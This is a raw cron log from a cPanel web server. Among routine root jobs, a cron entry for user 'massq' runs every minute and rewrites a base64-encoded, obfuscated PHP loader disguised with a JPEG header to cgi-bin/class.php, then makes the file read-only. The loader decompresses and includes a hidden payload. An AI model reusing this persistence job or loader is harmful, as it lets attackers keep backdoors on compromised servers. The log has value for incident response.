Nov 12 23:47:01 server CROND[27065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:48:01 server CROND[28036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:49:01 server CROND[28909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:50:01 server CROND[29832]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 23:50:01 server CROND[29833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:50:01 server CROND[29837]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:50:01 server CROND[29839]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 23:50:01 server CROND[29836]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:51:01 server CROND[30767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:52:01 server CROND[31679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:53:01 server CROND[32649]: (root) CMD (/usr/lib64/sa/sa2 -A)
Nov 12 23:53:01 server CROND[32650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:54:01 server CROND[1077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:55:01 server CROND[2013]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:55:01 server CROND[2014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:55:01 server CROND[2015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:56:01 server CROND[2944]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:57:01 server CROND[3812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:57:01 server CROND[3813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 23:58:01 server CROND[4689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:59:01 server CROND[5648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:00:01 server CROND[6522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 00:00:01 server CROND[6525]: (root) CMD (/usr/sbin/csf --lfd restart &gt; /dev/null 2&gt;&amp;1)
Nov 13 00:00:01 server CROND[6526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:00:01 server CROND[6528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:00:01 server CROND[6530]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
